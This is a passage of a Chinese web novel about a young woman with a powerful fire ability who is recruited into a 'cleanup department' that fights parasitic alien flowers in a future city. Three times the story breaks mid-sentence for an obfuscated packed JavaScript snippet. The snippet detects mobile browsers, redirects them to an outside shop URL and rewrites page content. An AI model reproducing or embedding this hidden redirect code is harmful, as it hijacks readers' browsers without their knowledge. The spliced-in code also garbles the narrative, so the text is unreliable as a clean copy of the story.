容贤随着李专员进到一个房间。 李专员进入到另一个隔间,指着墙上的红色按钮,说,“为了精确度,专家们尝试做了多种探测内容,这期间如果你觉得不适,请按下去。” 她说时,以为只是走了个过场,因为在她工作的时间里,没有人会摁下那个按钮,在算法中,坚持越久,异能就越强大,可她没想到没过多久,按钮被摁了两次。 容贤知道自己不会出事,所以她按照指示坐下来,将手伸入前面的容器里,一轻一种,她被刺激的异能外溢。 负责搜索的AI机器疯狂的运行,它连接外面屏幕,能让它这么疯狂的情况其他人都是第一次见,议论声都小了很多。 李稻心眼睁睁看着容贤一口气损坏两台机器,没有人比她更能直观的感受到那异能的可怕了。 按钮按了,她也断了电,为什么容贤还在破坏,她很是慌张,已经打算向外界求助。 一个视频出现在她面前,她见是赵随石,点接通。 “李专员,我知道你现在很紧张,但还是希望你可以冷静下来听我说,你也看到了,那些机器不足以测出她能量等级,但这只能代表她是特殊的,我有一个请求,请你抹去容贤的能量波动数据,其他的如实上报即可。” 容贤的异能波动异常激烈,这么瘦的身体竟然蕴含着那么强大的力量,如果不是李稻心新眼所见,她是不会相信的,她定了点心,说,“可她是危险性极高的异能者,像她这样的存在,必须要获得三个部长以上级别的人保证,她才能顺利在中心区使用异能,这是为了所有人的安全。” 赵随石认可的点头,“李专员,我想你误会我的意思了,我并非在和你商量。” 李稻心就要刮掉。 “我看过你的履历,十分亮眼,本该前途无量,可偏偏得罪了当时的上司,被排挤到这里,很不甘心吧,现在没有你优秀的同期已经踩在了你的头上,这是什么道理。我很欣赏你,如果你帮我这个忙,过几日就是新一轮选拔了,我会投你一票的。”赵随石循循善诱道。 那一瞬,李稻心想了很多,她已经不年轻了,可她还要和一些新来的年轻人做一样的工作,她不怀疑赵随石那一票的权力,人人都说他是花瓶,有个好爹,成了最年轻的部长,可没有人否认他这个部长是有权力的。 赵随石说,“你不用担心容贤,她是我带来的,我比你更清楚她的限度在哪里。” 这一句彻底打断了她的犹豫。 “好。” …… 一个小时过去了,容贤没有出来。 两个小时过去了,还是没有她的影子。 等着看笑话的人笑不出来了,有的直接提出质疑,“怎么会这么长时间?是不是机器坏了,怎么可能会有人能承受两个小时的强度,那可是模拟能量冲击波的。”他的发言得到广泛认可,可没人当面附和,这不就是质疑透明化吗?可他们都看到了容贤在里面,旁边也没什么人。 上个坚持最久的是一个半小时,还是刚入清理部的人,他叫杨理火,水系,攻击性A级。 又过了半小时,容贤走了出来。 她有些累,走路慢吞吞的,对旁人惊疑不定的目光视而不见。 赵随石上前,看她没有明显的伤痕,松了口气,“走吧,待你去吃点东西,然后查个身体。” “不是已经查了吗?”容贤惊讶。 他笑出声,“这不一样。” 他们走后,李稻心走了出来,被人围住,“她什么情况?就那样?一圈都接不住,能打?” “是不是她做什么手脚了?” 李稻心头疼,赶也赶不走,只好说,“容贤,火系,攻击性A级。系统已经上报了,你们要觉得有问题,你们去和上级说下,让她重新测。” 趁着他们愣住的功夫推开他们。 留他们在后面一脸呆滞,“不可能吧……”“这还是火系,十六区来的,之前怎么没听过这号人物。” 国家之前规定幼童时就要做一次异能测定,用来测出这个孩子的未来潜质在哪里,虽然后期有人认为这是完全功利主义,要求取消,多方争论下,就将年纪改为十三岁,可拦不住想测的家长,越好的家庭就越早测,方便后续集中培养一个高级异能者。 容贤的天资应该在很小的时候就被测出来了,早早记录在册,长大后,各大院校会直接发出邀请函。 可中心区和十六区的条件天差地别,更别说容贤是个黑户,查都没差过,更别说会被记录了。 容贤看着周围华丽装修的店铺,再看看面前像是宫殿的地方,有些不可置信,“我们要进这里吃饭?” “嗯,怎么不进去?” 容贤有些抵触,“这看起来消费很高,我已经欠了你很多。” “原来是不想再欠我了。”赵随石叹了口气,摇了摇头,“真让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094752|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人伤心,多属下好竟然是错。” “我没有说不好的意思。”容贤有些着急,“你不要这样想。” “真的吗?”赵随石低落道,“我在外面已经好久没吃这里的饭了,好不容易回来了,一个人吃也太可怜了。” 容贤赶忙说,“那我陪你吃!” “那可真谢谢你了。”赵随石真心道。 在周围的人朝他们看过来,容贤琢磨了一下,感觉不太对,可又不知道是哪里不对。 她被赵随石递过来的菜单吸引了,原谅她,她从小没吃过几次正经饭,什么营养液,虫饼,偶然可以吃到过期的肉罐头。 五花八门的菜,还有令她敬畏的价格,“赵哥,这些都有吗?我都能吃吗?” “不可以哦,你现在只能点清淡的。”赵随石笑眯眯道,“从十六区来这里,一般会有水土不服的问题,如果你觉得不舒服,要说出来。” “好。” 容贤虽然很眼馋那些红油辣肉,但知道赵随石是为了她好才这么做。 在自然界的动植物几乎灭绝的今天,能吃到新鲜菜和肉实属不易,当然,这是争对于容贤这样的下层区的穷人而言。对于中心区的上层人来说,末日前的菜谱并没有被放弃,他们每年给私人自然研究院提供大量的金钱来做实验。 本来快消失的食品加工厂复生,餐饮业恢复生机。 现在正是吃饭的时间,大家都穿着光鲜亮丽的来此品尝美食,他们交流,会客,神态安然,容贤抬头看,有种错觉,就是末日从来没有来过。 服务生上了菜后,没有离开,站在一旁等待差遣。 赵随石见容贤放不开,就朝服务生摆了摆手。 服务生是新来的,还不太会看人眼色,呆了一下,以为是让她往前,就要迈步,赵随石就说,“你可以先忙别的了。” 服务生有些慌乱,飞快的点头,没看到后面有人就往后退,结果踩到了对方,她连忙鞠躬道歉,“对不起!对不起!” 被撞到的人画着夸张的大浓妆,穿的细高跟鞋,正夹着声音和手机那边的人聊天,结果被人撞到,手机也掉到地上,她不满的瞥了一眼服务生,“果然是上不了台面的下层人,真不知道老板怎么招的人,还傻着做什么,还不快给我捡起来。” 服务生小心翼翼的捡起来,交到她手上。 女人就当着她面手一滑,说,“手机坏了呢?你赔得起吗?道歉?你的道歉顶几个钱。” 她不给服务生说话的机会,“叫你们经理来。” 经理来了后,第一时间就是踹了服务生一脚,然后和女人解释,“她是新来的,今天是第一天正式上班,还请见谅,今天您在本店的消费都免掉。” “不行呢,我不要求她赔我手机,但最起码的道歉礼数还是要有的吧。” “您的意思是……” “这样吧,我大度,让她跪下来给我磕几个头,说对不起。” 此话一出,吃饭的人都看了过来,这已经不是道不道歉的事了,而是这个女人就是在借题发挥,来这里消费的都是自诩高贵的人,以势压人的事每天都有,也不知这个服务生怎么就这么倒霉的被选中了。 他们司空见惯,可容贤还做不到寻常看待。 这根本就是在侮辱人!容贤就要站起来制止,赵随石摁住她,“我来吧,这是因我那句话引起的。” 服务生也知道自己今天必须跪才有活路,这个工作是她好不容易求到的,她不想第一天就被辞退,于是就要跪下去。 她感到阻力,诧异抬头。 5. 起来 服务生膝盖弯到一半,被一只手稳稳托住了手肘。 她还未抬头,就首先看到了那撑着她的手,那手很瘦,干净,很有力,再往上看,一双冷静的眼睛。 容贤松开手,从座位站起来。动作有些慢,她还不太适应周围的一切,太亮的光,太舒适的环境。 “起来。”容贤说。 她声音不大,但足够让周围几桌都听见。 画着浓妆的女人,后来容贤知道她的名字,海丽娜。她上下打量着容贤,从那张不带任何化妆品的脸,再到那身简单的裙子,毫不掩饰自己的嘲讽,“什么时候老鼠也能登大雅之堂了。”海丽娜的声音又尖又细,“管你什么事?经理,你这里怎么什么人都能放进来。” 经理的腰已经弯的不能再弯,他狠狠瞪了服务生一眼,又转向容贤,挤出几分笑,“这位客人,这是我们店内部的事,还请你不…” “内部的事?”赵随石开口了。 他不知何时也已站起,没有看经理,也没有看其他人,而是转向一旁不知所措的服务生,温和地问:“你叫什么名字?” 服务生愣住了,半晌才小声回答,“陈丹。” “陈小姐。”赵随石点点头,“刚才是我让你离开的,对吧?” 陈丹茫然地点点头。 “那么,按照逻辑,如果真有什么‘冲撞’,责任也应该在我。”赵随石这才转向经理,脸上挂着那副无懈可击的微笑,“经理,你们店对待客人的方式很有趣,客人要求服务生离开,服务生照做了,然后被另一位客人撞到,最后要下跪道歉的是服务生。这中间的因果关系,能麻烦你帮我理一理吗?” 经理见他白色长发,谈吐不俗,联想到刚刷到的新闻,反应过来眼前人是谁。 异防局一把手赵局长的儿子,最年轻的部长,就算传闻说他被“流放”过,那也不是自己能得罪得起的人。 “赵部长,这、这是个误会……”他试图解释。 赵部长?海丽娜大脑空白,这个样貌,姓赵,只能是那一个了。 “误会?”赵随石笑容加深了些,“那好,我换一个说法,如果今天是我不小心撞到了这位女士,当然,我假设我不会犯这种低级错误,你会要求我跪下道歉吗?” 海丽娜的脸色变了。她也知道自己踢到了铁板。但她拉不下脸,尤其是在这么多双眼睛的注视下。 “赵部长,”海丽娜勉强扯出笑容,“您这是做什么?我和这服务生只是闹着玩,您何必说的那么严重。” “闹着玩?”赵随石说话不紧不慢,“但我不觉得,我是作为一个消费者,对今晚的用餐体验提出合理的质疑。我来这里是为了吃饭,不是为了看你们店里上演侮辱人格的戏码。这让我很倒胃口,经理,你说呢?” 经理连声应和:“是是是,赵部长说得对!是我们处理不当!” 他转向海丽娜,语气强硬了许多,“海女士,如果您还需要继续用餐,请回自己的座位。如果不需要,请离开,不要打扰其他客人。” 海丽娜丢了个大脸,周围都是看她笑话的嘴脸,她连摔在地上的手机都没捡,临走前还瞪了眼那些看热闹的人。 经理松了口气,亲自捡起手机,对赵随石赔笑道:“赵部长,今晚二位所有的消费免单,算是我的一点歉意。这位新来的服务生……”他看了眼陈丹,见她忐忑不安的眼神,说,“我会再培训的。” “不必免单。”赵随石示意容贤坐下来,继续给她布菜,“该付的钱我会付,还有,她刚才做得很好,听从客人的指令,反应迅速,如果要培训,我建议是如何在不羞辱他人的情况下处理纠纷。” 经理连连称是,躬身退下。 陈丹还站在原地,像是没反应过来。容贤拉了拉她的袖子,“去忙你自己的事吧。” 她才如梦初醒,深深鞠了一躬,眼眶红着跑开了。 …… 餐厅恢复了表面的平静。 但容贤能感觉到,看他们的人更多了。 赵随石放在她面前的菜已经有些凉了,她并不在意,继续吃了起来,只是吃的格外慢。 “在想什么?”赵随石观察到她情绪不好,“是刚才的事吗?” 容贤放下筷子,迟疑了一下,“嗯。” “那个陈丹……她会不会失去这份工作?” 赵随石没有立刻回答。 他放下筷子,点了点桌子,交叠双腿,“如果十六区发生了这样的事,会如何?” “十六区长大的人会先分配到各大矿,大家都一样,不会轻易辞退,有仇当场报,大不了换个厂,犯法就进监狱。除了我这种打黑工的不受法律保护,经常被拖欠工钱。” “有仇当场报,这很好,只是中心区要更隐秘一点。”赵随石解释,“中心区分四个区,我们现在就在东区,刚才离开的女士,名叫海丽娜,她父亲是东区商业联会的理事,同样也是这家餐厅的大客户,每年都会花很多钱在这里,你也看到了,海丽娜并不是心胸宽广的人,她可以对服务生做任何事。” “可是…”容贤本能地不舒服,“这是不对的。” 赵随石点头,“我同意你的观点。” 他笑了笑,那笑容里有些容贤看不懂的东西,“在十六区,不公平是赤裸裸的,写在每个人脸上。但在这里,想要过得好,就要站在正确的一方。” “正确的一方吗?” 容贤想起十六区的矿坑,想起那些日复一日挖矿、最后死于矽肺的黑户;想起戴斯说的“我们做错了什么”;想起废品店里那些她买不起的、来自中心区的“废品”。 然后她想起刚才那个叫陈丹的女孩。她看起来那么年轻,也许才十八九岁,和十六区那些早早扛起生活的孩子差不多大。可她还要承受一些看不见的压力。 “我想跟她聊聊。”容贤忽然说。 赵随石并没有惊讶,他说,“去吧。我在外面等你。” …… 容贤在后厨附近的员工通道找到了陈丹。 她的泪水已经打湿了脸颊,她的脆弱不敢展现人前,只敢自己一个人躲在墙角偷偷哭泣。 听到脚步声,陈丹连忙擦了眼泪站出来,“我没有偷懒的意思……” 她看到容贤说不出话来。 你是来找我的吗? “我打扰到你了吗?” “没有。”陈丹急张道。 “那好。”容贤和她一起坐下来,身上染了灰尘也不以为然。 陈丹眨了眨眼,眼泪落下来,不知为何,面前这个和她差不多大的女生让她感到很亲切。 容贤说,“我在听你说话。” 陈丹闻言,实在太委屈,她的声音含糊不清,“我不知道自己的爸妈是谁,我从小是被哥哥养大的,他在我眼里很厉害,他是治愈系异能者,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094753|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学了农学,说是要培育出最好的土地,他在私人研究院上班,可有一天,他生病了,不知道为什么,他的身体开始虚弱,有一天,他已经无法下床。” 她说到这,痛苦爬满她的脸庞,“三天,就过了三天,他就彻底陷入昏迷。医生告诉我,醒来的概率几乎为零,让我放弃治疗,可那是我唯一的亲人,我怎么放弃,后来我听说有种休养仓是专门针对我哥哥这类情况的,可这需要好多钱。” “然后你就来这里工作了?” “是,这里的福利是我能接触最好的,包吃包住,表现好还会有额外奖励。”陈丹苦笑了一下,“但现在可能没机会了。” 容贤没说话,她看着通道尽头那扇小窗外中心区,高楼林立,空中轨道车流光般穿梭。无数光圈给夜色多了分绚丽。 “谢谢你。”陈丹诚恳道,“你是个好人,还有赵部长,我曾在新闻看过他,真人好看很多。” “新闻里怎么说他?” “说他是最年轻的清理部部长,说他没能力,是家族的耻辱。”陈丹生怕冒犯到她,补充道,“我不这样觉得。” 容贤却没什么反应。她想起测试大厅里那些人议论赵随石的话,想起他们脸上毫不掩饰的不屑。 她“嗯”了一声,站起来拍了拍裙子上的灰:“我先走了。” “等等!”陈丹叫住她,拿出自己的手机,“你可以加我吗?我没什么朋友,你若是不嫌弃的话。” 容贤没拒绝,给她输入了自己的号码。 …… 赵随石在餐厅外等她,上空的轻轨已经靠站,那么多人从他身边走过,他一眼就看到了容贤。 “聊完了?”他问。 “嗯。” 两人并肩走在被灯光打亮的洁白大道上。 “明天上午体检,那是会给你制定一个锻炼计划。” “锻炼?我吗?”容贤皱眉,“你不是说我很强吗?你在骗我吗?” 赵随石哈哈笑,“当然没骗你,但中心区不缺强者。” “可以不锻炼吗?” “很遗憾,不可以,这是我的命令。” 容贤不甘不愿道,“哦。” 赵随石没继续刺激她,说,“清理部有自己的宿舍区,条件比廉租公寓好很多。你可以先住那里。” “谢谢。”容贤顿了顿,“那个陈丹……如果她被开除了,能来清理部工作吗?她哥哥是治愈系的异能,她应该也是。” 赵随石背对着光,容贤能感觉到他生气了。 “容贤,”他说,“清理部不是慈善机构。我们负责的是源河防线,需要的人必须具备强大的异能,就算我们做了严格的训练,死亡率还是高达一半,你知道这代表着什么吗?你如果真想为她好,还是熄了这个念头。” “你的回答呢?” “我不会了。”容贤认错很快。 赵随石语气软了下来,“我不知道你和陈丹到底说了什么,但像她一样的人有很多。你难道之后要看一个救一个吗?你会很累的,他们和你无关,容贤,我请你来,是让你得到该有的成就,而不是被这无关的人和事所拖累。” “这不是拖累。”容贤强调道,“我也没有在管闲事,陈丹是我朋友。” 赵随石明白了,她这是在和他较劲,也是对初来乍到的中心区较劲,失笑,“那等你站的比我更高,再来跟我说这样的话吧。” 6. 欢迎 赵随石重新迈开步子,容贤跟上去。 “赵哥,”她忽然问,“当时你找我,不是因为我救你,而是因为我够强吗?” 赵随石暗叹,一个不肯放过自己的人,说话都留余地。 他并不隐藏自己的脆弱,“是的,我需要你,当时,我真的以为我已经死去,可你出现了,还带着那么令人惊艳的异能,我想,没错了,就是你。” 他们已经回到异能防卫安全总局,已经是深夜,但总局里的大多数人还在忙碌着。 “只是你拒绝了我的邀请。”他的语气轻松,“我在恢复正常后,花了一些时间来找你。你在16区隐藏的很好,但只要人生活过,她的痕迹就不会凭空消失,你之前曾非法运送过活体金属,为了不让你被别人盯上,我必须得先行找到你。” 容贤猜出来了,如果她不认识赵随石,她会和戴斯一样,深陷这条利益链里,迟早会被上面的人当做弃子。 赵随石说的简单,但容贤能感觉到这其中他是花了很多心思才摆平一切。 她想起测试室里那些疯狂运转又接连死机的机器,想起李专员苍白惊慌的脸,想起赵随石透过屏幕注视她的眼睛,那么的平静,专注,不含丝毫情绪。 容贤坐上电梯,赵随石摁下二十五层,“23,24,25层都是清理部的宿舍,一些不方便的同事都住在这里。我给你申请的是单人宿舍,里面都基本标配,如果觉得缺什么,之后找个时间给你补。” “好。” 赵随石停在078号,刷卡打开,“这间房已经空置了一年,有些冷清。” 容贤站在房间中央,她其实一点都不觉得冷清,窗户能看到异能大楼。 “我今晚不回去,歇在隔壁,如果有什么问题,可以直接去隔壁找我。” “嗯!” 容贤的心已经全在这间屋子了。 赵随石笑了笑,关上门。 容贤看到桌子上放着一个纸箱,她上前打开,写的是“生活必需品”,新的衣物、洗漱用品、一个中心区通用卡。 她拿起那张卡,看了很久,最终把它妥善的放在衣服里,准备贴身携带。 往下看,还有一身制服,制服里面有耳机,干扰器,一支笔,一本智能工作日记,可以直接传到单位系统。 手机震动了一下。容贤打开,是万金发来的日程提醒:「早上八点,去清理部医疗科拿到健康报告;十点半,清理内部会议开始;下午两点,等待分配任务。」 容贤关掉手机,去冲了个战斗澡,然后直直的躺到床上。这是她这段时间第一次沾床,床垫很软,比她十六区那个用旧衣服填充的“床”舒服太多。 她睡着了,灯灭,整个屋子只有她手腕上绿钻发出微弱的光。 第二天起来,浑身的疲惫一扫而空。 手机按时开机,「万金提醒你,今天会有大风,请做好防护措施。」 容贤深呼一口气,打开门,赵随石已经在等她了,见她穿着统一分配的制服走出来,特意多看了几眼,“这件衣服很合身,我还担心他们不仔细,会错漏你的尺码。” “额。”容贤想到了之前那些不合身的衣服,又看了看他一副欣慰的样子。 很怪。 “走吧,现在是七点半,还有时间,带你去吃点东西。” 容贤就跟着赵随石到了地下的餐厅。 餐厅很大,食物类型很多,容贤往远看,所有窗口都要排着队。 “想吃什么?” “不知道。”容贤想不到早上也会有这么多花样,她也没吃饱过,所以她对自己的胃口没有清晰的概念。 “那你先找个地方坐,我吃什么你就吃什么。” “好。”容贤随便找个位置坐下,从她坐下来,周围的人多了好几倍,她还看到有人明知没地方坐了还要端着饭过来溜一圈。 总局来新人是常事,不是全都要认识。可这个新人是大名人赵随石亲自从十六区捡的,还是年纪轻轻就是A级破坏力的异能,从来都没听说过十六区出现了这号人物,现在信息发达,天才早早就被发掘,政府企业高校抢人大战是每年大众都会看的热闹。 很多人只来得及吃上一口旧瓜,照片都没来得及看,被人提醒了坐在那吃饭的人就是十六区的新人,才明白其他人怎么都往那边凑。 赵随石拿着早餐过来,见她皱着脸,朝还想走过来的人看了眼,这下不管脸皮厚不厚的了,只觉得浑身难受,不敢再上前。 容贤吃着他买来的早餐,营养粥和能量棒,这在中心区里,稍微讲究点的人都不会吃的,不因为别的,是口感太差了。 她吃的津津有味,比她熟悉的营养液要好喝很多。 赵随石一路是打招呼过去的,他被笑话成花瓶,也不妨碍下面人巴结,更何况他待人温和亲切,不会给人压力,还是有很多人喜欢他。 容贤把一切看在眼里。 八点准时到达医疗科,赵随石还有其他的事要做,和医生交代了下就离开,留下容贤一个人被围起来当稀奇动物看待。 她们都带着口罩,其中一个把头方盘起来的女人说,“麻夏月,叫我麻医生就好。她们都是我的助手,林茶,高不依。” 她声音低沉悦耳,给人一种很舒服的感觉。 “麻医生好。”容贤老实点头。 “不用紧张,麻医生很好的,来,请脱下衣服。”林茶声音甜美,和她本人一样,是个很可爱的女孩子。 容贤对赤裸倒是不抵触,脱得很快,高不依上来把衣服拿上,林茶有些小吃惊,侧过去小声说,“我还没解释呢……” 身为女性她很清楚这个流程,虽然都是同性,但这里毕竟不是私人的房间,要年轻女性接受非私人空间脱衣,是要给足安全感。 高不依倒是看出容贤是习以为常,她忍不住想她到底经历了什么。 麻夏月已经调试好机器,她让容贤站进去。 出来的结果让林茶很是心疼,“这也太多不合格的指数了,她的健康指数是负的。” 麻夏月倒是不意外,点了点她的头,“之前不是让你看十六区传送过来的健康报告了吗?她这种情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094754|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况在十六区是普遍性。” “我还没来得及看到后面。”林茶有些羞愧,“对不起,麻医生,我今天回去一定要把它看完。” “不依,你觉得她这样的情况该如何呢?” 高不依谨慎道,“营养不良,五脏六腑都有些受损,她有肌肉,但不足以支撑她的异能。要制定具体的训练方案还需要更详细的数据。” 麻医生嗯了声,满意道,“很好,一会她的报告你来写。” “好的。” 容贤走出来,高不依给她递上衣服,然后说,“你的报告由我来主笔,你如果有什么疑问可以向我或者麻医生提问。接下来,我会制定一个针对饮食,运动等方面的详细计划。” “嗯…” 她的账号绑定内部系统医疗科,她身体的指数会直接对接高不依的手机。 十点半,容贤站在会议室门口。 她知道这是赵随石给她安排的欢迎大会,可她没想到会有这么多人,初步看有千人。 她仔细看了下,连负责卫生的人都在。 他们齐刷刷的朝容贤看了过来。 “让我们欢迎新人的到来。” “啪啪啪啪……” 容贤不知道自己是怎么走到赵随石身边的,等大家散去,她丧着脸坐在工位上,看着手机弹出的群聊,她无力的点开。 果然,她刚才呆滞的样子都被录了下来,下面齐刷刷的欢迎。 万金是个不会尴尬的AI,它替她接受了这些热情,并回以热情,一时间,全是它刷屏的信息。 「多谢多谢,之后大家都要同心协力,一致对外,团结就是力量!」 「新人初来乍到,大家多多关照。」 「新人不懂就问,有没有纯吐槽的闲聊群,以后和大家分享之前的趣事。」 …… 沉默,沉默就是今晚的康桥。 这和他们见到的容贤是一个人吗?随后,互相对视,哈哈大笑。 容贤只是逃避一下,等再翻开界面,眼一黑,万金你够了! 赵随石忍着笑意打断她正崩裂的心。 “现在是午饭时间。” 容贤看了下时间,已经十二点,她默默把心拼起来。 “走吧。” 赵随石在餐桌上说,清理部人数是最少的,一部分是因为死亡率高,硬性要求必须是异能排前面的。一部分就是大多都是被排挤过来的异能者,特殊的,不合群的,没什么背景的。他的几个重要部下受到他牵连,被调离中心区。 “你要让他们回来?” “对,我是在十六区立了个大功,加上这其中还有很多疑点,牵连很广,我怀疑中心区管理高层的内部出了问题,他们也很清楚,为了打破僵局,他们不得不放我回来。”赵随石顿了顿说,“这么大规模的查,不是想查就能查,他们当初都因我而受累,现在我回来了,我不能让他们寒心。” 容贤严肃起来,“那我要怎么做?” “先把身体养好。” “哎!?”她可是很认真的! 7. 初任务 凌晨两点,东区边缘,廉租公寓“梦想之城” 陈丹蜷缩在上铺,把脸埋在枕头里,睡的并不安稳,她的下铺值夜班,今夜不应该有声音。 咚。咚。咚。 陈丹睁开眼睛,连忙起身,判断声音从哪来。 那个声音急促,从门外传来,陈丹僵住了,她看了下时间,是舍友没有戴宿舍卡吗?不对,舍友是个细心的人,这个时候她回来是会给她发消息的,可舍友没有。 她迟迟没有开门。 可那敲门声没有停,陈丹听到转移的声音,开始往旁边走起,一扇门,一扇门地敲过去。 公寓鱼龙混杂,有外区来打黑工的人,也有被老板买断当做员工宿舍来用的,有吞云吐雾的女人,也有风流一夜的瓢虫,附近的监控很少,混混猖獗,同样也是罪犯的栖息之地。 没有人会因好奇打开门,除了初来没多久的,就是脑子糊涂的。 陈丹把耳多贴在门后,就听到旁边住着一个大叔骂骂咧咧地打开门,很快她就听不到声音了。 发生了什么? 陈丹靠在门后,忍不住发抖。 敲门声又响起来。 “谁、谁啊?”门内传来女人紧张的声音。 陈丹听出那是刚搬来的年轻女人,她下班回来和她聊过几句,她说她来自五区,赚了点钱准备来中心区追梦。她很喜欢落日,落日是一个偶像乐团,他们都长相比音乐更出名。 没有回应声,敲击声越来越急。 锁扭开了。 “别……”陈丹就要打开门阻止这一切,可她太害怕了,她把门开一小缝,眼睁睁看着一个黑糊糊的东西冲进女人的房间,门轻轻合上了。 陈丹等啊等,那扇门打开了,陈丹捂着嘴,无声的叫起来。 一个空荡荡的血色衣服正悬空飘着,没有人走路,却有高跟鞋的声音。 脚步声离她越来越近,她紧紧抓着手机,上面已经摁下了报警电话。 “您好,这里是东区警报处置中心。” “我……我亲眼看到她消失了……” …… 早上八点,清理部第二会议室。 容贤坐在长桌末尾,看着对面墙上投影出的案件简报。会议室里除了她,只有三个人:赵随石,车尔,杨理火。 杨理火看起来是个外向的人,统一的制服被他传出走T台的时尚感,黑色卷毛,半卷起来胳膊隐隐透出一些纹身,注意到容贤的目光,回看过去,挑眉笑,容贤冷着脸,也掩饰不住那慌张的眼神。 “人都齐了。”赵随石点了下控制板,投影切换到下一页,“两小时前,异警部把这份案子转了过来。表面是失踪案,实际可能涉及异花非法运输和寄生。” 简报上出现了“梦想之城”的外观照片,一栋典型的旧时代公寓,从外表看,墙皮脱落,旧痕斑驳。 里面看,每个房间空隙不大,里面的摆放都很原始,没有配套的智能管家,很难想象在中心区还有这么落后的地方。 照片一张张的往后放,赵随石停在最特殊的一张,上面是人失踪后的房间,地上的血脚印乱糟糟的,甚至墙壁,天花板,都有这个脚印,如履平地一般。他强调,“全部都是失踪女性的脚印。” “报警人是陈丹。”赵随石顿了顿,“容贤,我记得你加了她的联系方式,她有没有跟你说这件事?” “没有,遇到这种事,她很害怕吧。”容贤的手指无意识地蜷缩了一下。 “异警部初步勘察后,在污渍中检测到微量异花种子,不是死体,是活体。”赵随石看向三人,“它的危险程度不用我多说。” 会议室安静了几秒。 “看来我们可以大干一场了。”杨理火露出一丝兴奋,危险意味着机会。 日子太平久了,清理部的地位是越来越低,先进的科技对打击异花效果显著,强异能者的作用也慢慢被削弱。他们在十八区时,还是被尊敬的守护者,回来就成了享有特权的多余人士。 没想到现在还会有异花出现在中心区作乱。 赵随石点点头,“之前七区的事在异警部内引起了多方讨论,一致认为异花外逃是人为主导。他们之后会陆续将一些可疑的案子转到我们这里,接下来你们的任务不会轻松。” “目前还说不到那么远,我们先找到失踪女性。”他调出地图,在梦想之城的周围圈住了几个地方,都是异警部根据之前有相关人员报警记录,用大数据跑出来的最后几个最可疑的地方。 投影切换成卫星俯瞰图。 “热成像显示,这几个地方最近都有持续的低热量活动,可无人进出。”赵随石关掉投影。 “接下来你们要做的是,第一,确认这几个地方有没有异花活体;第二,如果确认,在不引起公众恐慌的前提下清除;第三,尽可能活捉或查明控制异花的‘人’,当然,非人另说。” 容贤听的一知半解,赵随石告诉她,“清理部的工作从来不是‘找到异花炸了就行’。异花会寄生、会模仿、会设陷阱。很多时候,最危险的不是异花本身,是那些被寄生后还以为自己正常的人。” “所以我们需要团队。”杨理火懒洋洋地笑,“我负责控场和防御,车尔负责侦察和情报,你,就是最后一击。” 车尔在十六区拍容贤使用异能的视频他也看过了,那可真是了不起的能力。 容贤看向赵随石。 他点了点头:“你的能力很适合这个角色,注意,你要做到绝对的精准消灭,异花不比异能者,一旦破坏过大,异花就会应激,花粉四处扩散。” “我会注意。”容贤说。 “装备室已经准备好了。”赵随石起身,“三十分钟后出发。车尔,你带队。” “明白。” …… 三十分钟后,一辆三无黑车从总局地下车库,混入东区的车流。 容贤坐在后排,检查着刚领到的装备,一把削铁如泥的刀,可以废掉哟个异能者的能量枪,专门针对异花的防毒面具。 她不确定自己会使用这些,虽然他们都说很好上手。 车尔开着车,“没什么可紧张的。” 杨理火坐在副驾驶,正在调试一个巴掌大的无人机,闻言道,“对,要知道我们第一次出外勤,可没这么好的条件,全靠我那水淹,才活捉了被异花寄生的小孩。” 容贤已经习惯了紧张,她的脸很难有笑容,“谢谢。” 她看向窗外,车已经驶离中心区核心地带,周围白洁的建筑逐渐变得灰暗,街道上的行人也少了,偶尔能看到裹着厚衣服的流浪者蜷缩在墙角。 “到了。”车尔把车停在一个废弃的加油站后面。铁门歪斜着一张闲人免进。 他们的目标是旁边那废弃的工业区,原始的工业已经饱和,迎来科技大爆发,这是历史的进步,代表着人类文明有强大生命力。相应的,一些人被抛下了,连带着曾经辉煌,随着旧时代落下。 三人换上防护服,戴上防毒面罩。杨理火放飞无人机,小小的隐身无人机开始探索这一片荒凉地。 车尔盯着手中的监视屏。无人机传回的画面里,仓库大门虚掩着,里面一片漆黑,打开热成像系统,发现有三处热源。 “生命体征?”车尔问。 杨理火调出数据:“两个低温,深度寄生,一个正常,但心率过快,不确定他是活人还是异花宿主。” 车尔看向容贤,面罩下的声音有些沉闷,“我和理火解决那深度寄生,你负责第三个,先抓,如果异花应激要自毁,那为了不扩大范围,精准消灭。” “好。” 仓库的门被轻轻推开。 视觉被剥夺,留下的听觉,嗅觉。容贤只能听到那微弱的呼吸声,是她自己的,她还闻到了一股香气,掺着铁锈味,她及时闭住了呼吸,没有让自 